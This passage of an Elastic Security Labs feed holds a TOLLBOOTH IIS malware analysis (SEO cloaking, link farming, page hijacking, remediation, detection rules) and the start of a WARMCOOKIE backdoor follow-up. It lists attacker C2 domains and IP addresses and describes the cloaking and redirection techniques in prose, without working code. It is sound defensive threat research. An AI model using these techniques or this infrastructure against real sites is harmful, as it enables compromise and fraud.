<p>TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.</p>
<p>Both the native and the managed modules are implemented almost identically. The only difference is that native modules <code>v1.6.0</code> and <code>v1.6.1</code> check both the User Agent and Referer against the <code>seoGroupRefererMatchRules</code> list, and the .NET module <code>v1.6.1</code> checks the User Agent against the <code>seoGroupUaMatchRules</code> list and Referer against the <code>seoGroupRefererMatchRules</code> list.</p>
<p>Based on the current configuration, the values for <code>seoGroupUaMatchRules</code> and <code>seoGroupRefererMatchRules</code> are <code>googlebot</code> and <code>google</code>, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both <code>bing</code> and <code>yahoo</code> suggests that those search engines were targeted in the past as well.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image29.png" alt="Functions and fallback lists for User Agent and Referer checks" title="Functions and fallback lists for User Agent and Referer checks" /></p>
<p>The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image23.png" alt="Function for generating page that links to SEO content" title="Function for generating page that links to SEO content" /></p>
<p>The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the <code>affLinkMainWordSeoResArr</code> configuration field. For each keyword, it generates a &quot;local link&quot; pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving &quot;affiliate link resources&quot; from the <code>affLinkSeoResArr</code> field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as <a href="https://en.wikipedia.org/wiki/Link_farm">link farming</a>, is designed to artificially inflate search engine rankings across the entire network of compromised sites.</p>
<p>Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image4.png" alt="Visiting the landing page with User Agent “google”" title="Visiting the landing page with User Agent “google”" /></p>
<p>URL path prefixes to the SEO pages contain words or phrases from the <code>seoGroupUrlMatchRules</code> config field. This is also referenced in the site redirection logic targeting visitors. These are currently:</p>
<ul>
<li><code>stock</code></li>
<li><code>invest</code></li>
<li><code>summary</code></li>
<li><code>datamining</code></li>
<li><code>market-outlook</code></li>
<li><code>bullish-on</code></li>
<li><code>news-overview</code></li>
<li><code>news-volatility</code></li>
<li><code>video/</code></li>
<li><code>app/</code></li>
<li><code>blank/</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image32.png" alt="Example local links" title="Example local links" /></p>
<p>Templates and content for SEO pages are also externally retrieved from URIs that look like <code>hxxps://f[.]fseo99[.]com/&lt;date&gt;/&lt;md5_file_hash&gt;&lt;.txt/.html&gt;</code> in the config. Here is an example of what one of the SEO pages looks like:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image5.png" alt="Example SEO page" title="Example SEO page" /></p>
<p>For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to <code>hxxps://api[.]aseo99[.]com/client/landpage</code>. If the request is successful, the server responds with a JSON object containing a specific <code>landpageUrl</code>, which becomes the destination for the redirect.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image18.png" alt="Requesting for page to redirect to" title="Requesting for page to redirect to" /></p>
<p>If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (<code>window.location.href</code>) and sent to the victim’s browser, forcing an immediate redirection.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image26.png" alt="Fallback request for the page to redirect to" title="Fallback request for the page to redirect to" /></p>
<h3>Page Hijacker</h3>
<p>For the native modules, if the URI path contains <code>xlb</code>, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, <code>mlxya[.]oss-accelerate[.]aliyuncs[.]com/&lt;12_random_alphanumeric_characters&gt;</code>, which is used to retrieve an obfuscated next-stage JavaScript payload.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image27.png" alt="Random characters appended to domain hosting JS payload" title="Random characters appended to domain hosting JS payload" /></p>
<p>The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., <code>xlbh</code>, <code>mxlb</code>) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at <code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href=</code> or <code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=</code>, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses <code>document.write()</code> to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image19.png" alt="Deobfuscated page hijacker payload" title="Deobfuscated page hijacker payload" /></p>
<h2>Campaign targeting</h2>
<p>While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.</p>
<p>We then partnered with <a href="https://x.com/SreekarMad">@SreekarMad</a> at <a href="https://www.validin.com/">Validin</a> to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.</p>
<p>At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image2.png" alt="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" title="Geographic distribution of victims serving TOLLBOOTH SEO cloaking" /></p>
<p>These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.</p>
<p>The collaboration with Validin and Texas A&amp;M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image21.png" alt="Metadata collected from an additional victim" title="Metadata collected from an additional victim" /></p>
<p>Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.</p>
<p>Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.</p>
<p>Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.</p>
<h3>Geography</h3>
<p>The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a <code>.co.uk</code> domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.</p>
<h3>Diamond model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/image22.png" alt="REF3927 Diamond Model" title="REF3927 Diamond Model" /></p>
<h2>Remediating REF3927</h2>
<p>Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.</p>
<p>Therefore, remediation must include rotation of machine keys to a new, <a href="https://support.winhost.com/kb/a1623/how-to-generate-a-machine-key-in-iis-manager.aspx">properly generated</a> key.</p>
<h2>Conclusion</h2>
<p>The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&amp;M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.</p>
<p>The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as <a href="https://www.elastic.co/pt/security/endpoint-security">Elastic Defend</a> during potential incidents.</p>
<h2>Detection logic</h2>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_webshell_detection.toml">Web Shell Detection: Script Process Child of Common Web Processes</a></li>
</ul>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/privilege_escalation_suspicious_execution_via_windows_services.toml">Suspicious Execution via Windows Services</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_shellcode_injection_via_a_webshell.toml">Potential Shellcode Injection via a WebShell</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_execution_from_suspicious_directory.toml">Execution from Suspicious Directory</a></li>
</ul>
<h4>YARA signatures</h4>
<p>Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Tollbooth.yar">Windows.Trojan.Tollbooth</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenCli.yar">Windows.Trojan.HiddenCli</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_HiddenDriver.yar">Windows.Trojan.HiddenDriver</a></li>
</ul>
<h2>REF3927 through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001/">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006/">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1190/">Exploit Public-Facing Application</a></li>
<li><a href="https://attack.mitre.org/techniques/T1505/004/">Server Software Component: IIS Components</a></li>
<li><a href="https://attack.mitre.org/techniques/T1003/">OS Credential Dumping</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564/001/">Hide Artifacts: Hidden Files and Directories</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005/">Data from Local System</a></li>
<li><a href="https://attack.mitre.org/techniques/T1014/">Rootkit</a></li>
<li><a href="https://attack.mitre.org/techniques/T1078/">Valid Accounts</a></li>
</ul>
<h2>Observations</h2>
<p>The following <a href="https://github.com/elastic/labs-releases/tree/main/indicators/tollbooth">observables</a> were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc</code></td>
<td>SHA-256</td>
<td><code>WingtbCLI.exe</code></td>
<td>HIDDENCLI</td>
</tr>
<tr>
<td><code>f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1</code></td>
<td>SHA-256</td>
<td><code>Winkbj.sys</code></td>
<td>HIDDENDRIVER</td>
</tr>
<tr>
<td><code>c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788</code></td>
<td>SHA-256</td>
<td><code>scripts.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3</code></td>
<td>SHA-256</td>
<td><code>caches.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964</code></td>
<td>SHA-256</td>
<td><code>CustomIISModule.dll</code></td>
<td>TOLLBOOTH</td>
</tr>
<tr>
<td><code>c[.]cseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH config server</td>
</tr>
<tr>
<td><code>f[.]fseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH SEO farming config server</td>
</tr>
<tr>
<td><code>api[.]aseo99[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH crawler reporting &amp; page redirector API</td>
</tr>
<tr>
<td><code>mlxya[.]oss-accelerate.aliyuncs[.]com</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker payload hosting server</td>
</tr>
<tr>
<td><code>asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run</code></td>
<td>domain-name</td>
<td></td>
<td>TOLLBOOTH page hijacker content-fetching server</td>
</tr>
<tr>
<td><code>bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe</code></td>
<td>SHA-256</td>
<td><code>1.aspx</code></td>
<td>Godzilla-forked webshell (Similar sample from VirusTotal)</td>
</tr>
<tr>
<td><code>230b84398e873938bbcc7e4a1a358bde4345385d58eb45c1726cee22028026e9</code></td>
<td>SHA-256</td>
<td><code>GotoHTTP.exe</code></td>
<td>GotoHTTP</td>
</tr>
<tr>
<td><code>Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36</code></td>
<td>User-Agent</td>
<td></td>
<td>User-Agent observed during exploitation via IIS ViewState injection</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/">https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/</a></li>
<li><a href="https://asec.ahnlab.com/en/87804/">https://asec.ahnlab.com/en/87804/</a></li>
<li><a href="https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/">https://unit42.paloaltonetworks.com/initial-access-broker-exploits-leaked-machine-keys/</a></li>
<li><a href="https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters">https://blog.blacklanternsecurity.com/p/aspnet-cryptography-for-pentesters</a></li>
<li><a href="https://github.com/ekkoo-z/Z-Godzilla_ekp">https://github.com/ekkoo-z/Z-Godzilla_ekp</a></li>
<li><a href="https://x.com/AzakaSekai_/status/1969294757978652947">https://x.com/AzakaSekai_/status/1969294757978652947</a></li>
</ul>
<h2>Addendum</h2>
<p>HarfangLab posted their draft research on this threat the same day this post was released. In it, there are additional complementary insights:</p>
<ul>
<li><a href="https://x.com/securechicken/status/1980715257791193420">https://x.com/securechicken/status/1980715257791193420</a></li>
<li><a href="https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/">https://harfanglab.io/insidethelab/rudepanda-owns-iis-servers-like-2003/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/tollbooth/tollbooth.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[WARMCOOKIE One Year Later: New Features and Fresh Insights]]></title>
            <link>https://www.elastic.co/pt/security-labs/revisiting-warmcookie</link>
            <guid>revisiting-warmcookie</guid>
            <pubDate>Wed, 01 Oct 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[A year later: Elastic Security Labs re-examines the WARMCOOKIE backdoor.]]></description>
            <content:encoded><![CDATA[<h2>Revisiting WARMCOOKIE</h2>
<p>Elastic Security Labs continues to track developments in the WARMCOOKIE codebase, uncovering new infrastructure tied to the backdoor. Since our original <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger">post</a>, we have been observing ongoing updates to the code family and continued activity surrounding the backdoor, including new infections and its use with emerging loaders. A recent <a href="https://www.ibm.com/think/x-force/dissecting-castlebot-maas-operation">finding</a> by the IBM X-Force team highlighted a new Malware-as-a-Service (MaaS) loader, dubbed CASTLEBOT, distributing WARMCOOKIE.</p>
<p>In this article, we will review new features added to WARMCOOKIE since its initial publication. Following this, we’ll present the extracted configuration information from various samples.</p>
<h2>Key takeaways</h2>
<ul>
<li>The WARMCOOKIE backdoor is actively developed and distributed</li>
<li>Campaign ID, a recently added marker, sheds light on targeting specific services and platforms</li>
<li>WARMCOOKIE operators appear to receive variant builds distinguished by their command handlers and functionality</li>
<li>Elastic Security Labs identified a default certificate that can be used to track new WARMCOOKIE C2 servers</li>
</ul>
<h2>WARMCOOKIE recap</h2>
<p>We first <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger">published</a> research about WARMCOOKIE in the summer of 2024, detailing its functionality and how it was deployed through recruiting-themed phishing campaigns. Since then, we have observed various development changes to the malware, including the addition of new handlers, a new campaign ID field, code optimization, and evasion adjustments.</p>
<p>WARMCOOKIE’s significance was highlighted in May 2025, during <a href="https://www.europol.europa.eu/media-press/newsroom/news/operation-endgame-strikes-again-ransomware-kill-chain-broken-its-source">Europol’s Operation Endgame</a>, in which multiple high-profile malware families, including WARMCOOKIE, were disrupted. Despite this, we are still seeing the backdoor being actively used in various malvertising and spam campaigns.</p>
<h2>WARMCOOKIE updates</h2>
<h3>Handlers</h3>
<p>During our analysis of the new variant of WARMCOOKIE, we identified four new handlers introduced in the summer of 2024, providing quick capabilities to launch executables, DLLs, and scripts:</p>
<ul>
<li>PE file execution</li>
<li>DLL execution</li>
<li>PowerShell script execution</li>
<li>DLL execution with <code>Start</code> export</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image10.png" alt="Switch statement inside command handler" /></p>
<p>The most recent WARMCOOKIE builds we have collected contain the DLL/EXE execution functionality, with PowerShell script functionality being much less prevalent. These capabilities leverage the same function by passing different arguments for each file type. The handler creates a folder in a temporary directory, writing the file content (EXE / DLL / PS1) to a temporary file in the newly created folder. Then, it executes the temporary file directly or uses either <code>rundll32.exe</code> or <code>PowerShell.exe</code>. Below is an example of PE execution from procmon.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image1.png" alt="PE execution handler via Procmon" /></p>
<h3>String bank</h3>
<p>Another change observed was the adoption of using a list of legitimate companies for the folder paths and scheduled task names for WARMCOOKIE (referred to as a “string bank”). This is done for defense evasion purposes, <a href="https://attack.mitre.org/techniques/T1070/010/">allowing the malware</a> to relocate to more legitimate-looking directories. This approach uses a more dynamic method (a list of companies to use as folder paths, assigned at malware runtime) as opposed to hardcoding the path into a static location, as we observed with previous variants  (<code>C:\ProgramData\RtlUpd\RtlUpd.dll</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image6.png" alt="WARMCOOKIE string bank" /></p>
<p>The malware uses <code>GetTickCount</code> as a seed for the <code>srand</code> function to randomly select a string from the string bank.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image4.png" alt="Function used for selecting strings from the string bank" /></p>
<p>The following depicts an example of a scheduled task showing the task name and folder location:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image7.png" alt="Scheduled task using string bank" /></p>
<p>By searching a few of these names and descriptions, our team found that this string bank is sourced from a website used to rate and find reputable IT/Software companies.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image9.png" alt="IT rating website used to populate the string bank" /></p>
<h3>Smaller changes</h3>
<p>In our last write-up, WARMCOOKIE passed a command-line parameter using <code>/p</code>  to determine if a scheduled task needs to be created; this parameter has been changed to <code>/u</code>. This appears to be a small, but additional change to break away from previous <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger">reporting</a>.</p>
<p>In this new variant, WARMCOOKIE now embeds 2 separate GUID-like mutexes; these are used in combination to better control initialization and synchronization. Previous <a href="https://www.elastic.co/pt/security-labs/dipping-into-danger#mutex">versions</a> only used one mutex.</p>
<p>Another noticeable improvement in the more recent versions of WARMCOOKE is code optimization. The implementation seen below is now cleaner with less inline logic which makes the program optimized for readability, performance, and maintainability.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image8.png" alt="Code optimization comparison" /></p>
<h2>Clustering configs</h2>
<p>Since our initial publication in July 2024, WARMCOOKIE samples have included a campaign ID field. This field is used by operators as a tag or marker providing context to the operators around the infection, such as the distribution method. Below is an example of a <a href="https://www.virustotal.com/gui/file/5bca7f1942e07e8c12ecd9c802ecdb96570dfaaa1f44a6753ebb9ffda0604cb4">sample</a> with a campaign ID of <code>traffic2</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image3.png" alt="Campaign ID within WARMCOOKIE" /></p>
<p>Based on the extracted configurations of samples in the last year, we hypothesize that the embedded RC4 key can be used to distinguish between operators using WARMCOOKIE. While unproven, we observed from various samples that some patterns started to emerge based on clustering the RC4 key.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image2.png" alt="RC4 key distribution with campaign IDs" /></p>
<p>By using the RC4 key, we can see overlap in campaign themes over time, such as the build using RC4 key <code>83ddc084e21a244c</code>, which leverages keywords such as <code>bing</code>, <code>bing2</code>, <code>bing3,</code>and <code>aws</code> for campaign mapping. An interesting note, as it relates to these build artifacts, is that some builds contain different command handlers/functionality. For example, the build using the RC4 key <code>83ddc084e21a244c</code> is the only variant we have observed that has PowerShell script execution capabilities, while most recent builds contain the DLL/EXE handlers.</p>
<p>Other campaign IDs appear to use terms such as <code>lod2lod</code>, <code>capo,</code> or <code>PrivateDLL</code>. For the first time, we saw the use of embedded domains versus numeric IP addresses in WARMCOOKIE from a <a href="https://www.virustotal.com/gui/file/e0de5a2549749aca818b94472e827e697dac5796f45edd85bc0ff6ef298c5555">sample</a> in July 2025.</p>
<h2>WARMCOOKIE infrastructure overview</h2>
<p>After extracting the infrastructure from these configurations, one SSL certificate stands out. Our hypothesis is that the certificate below is possibly a default certificate used for the WARMCOOKIE back-end.</p>
<pre><code>Issuer     
    C=AU, ST=Some-State, O=Internet Widgits Pty Ltd 
Not Before     
    2023-11-25T02:46:19Z
Not After
    2024-11-24T02:46:19Z  
Fingerprint (SHA1)     
    e88727d4f95f0a366c2b3b4a742950a14eff04a4
Fingerprint (SHA256)
    8c5522c6f2ca22af8db14d404dbf5647a1eba13f2b0f73b0a06d8e304bd89cc0
</code></pre>
<p><em>Certificate details</em></p>
<p>Note the “Not After” date above shows that this certificate is expired. However, new (and reused) infrastructure continues to be initialized using this expired certificate. This is not entirely new infrastructure, but rather a reconfiguration of redirectors to breathe new life into existing infrastructure. This could indicate that the campaign owners are not concerned with the C2 being discovered.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/revisiting-warmcookie/image5.png" alt="Certificate reuse screenshot, September 2024 to September 2025" /></p>
<h3>Conclusion</h3>
<p>Elastic Security Labs continues to observe WARMCOOKIE infections and the deployment of new infrastructure for this family. Over the last year, the developer has continued to make updates and changes, suggesting it will be around for some time to come. Based on its selective usage, it continues to remain under the radar. We hope that by sharing this information, organizations will be better equipped to protect themselves from this threat.</p>
<h3>Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/001/">Command and Scripting Interpreter: PowerShell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1053/">Scheduled Task/Job</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113/">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1070/010/">Indicator Removal: Relocate Malware</a></li>
</ul>
<h2>Detecting malware</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_downloads.toml">Suspicious PowerShell Downloads</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/persistence_scheduled_task_creation_by_an_unusual_process.toml">Scheduled Task Creation by an Unusual Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/ecde1dfa1aaeb6ace99e758c2ba7d2e499f93515/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution via Windows Scripts</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_WarmCookie.yar">Windows.Trojan.WarmCookie</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">87.120.126.32</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">storsvc-win[.]com</td>
<td align="left">domain</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">85.208.84.220</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">109.120.137.42</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">195.82.147.3</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">93.152.230.29</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">155.94.155.155</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">87.120.93.151</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
<td align="left">170.130.165.112</td>
<td align="left">ipv4-addr</td>
<td align="left"></td>
<td align="left">WARMCOOKIE C2 Server</td>
</tr>
<tr>
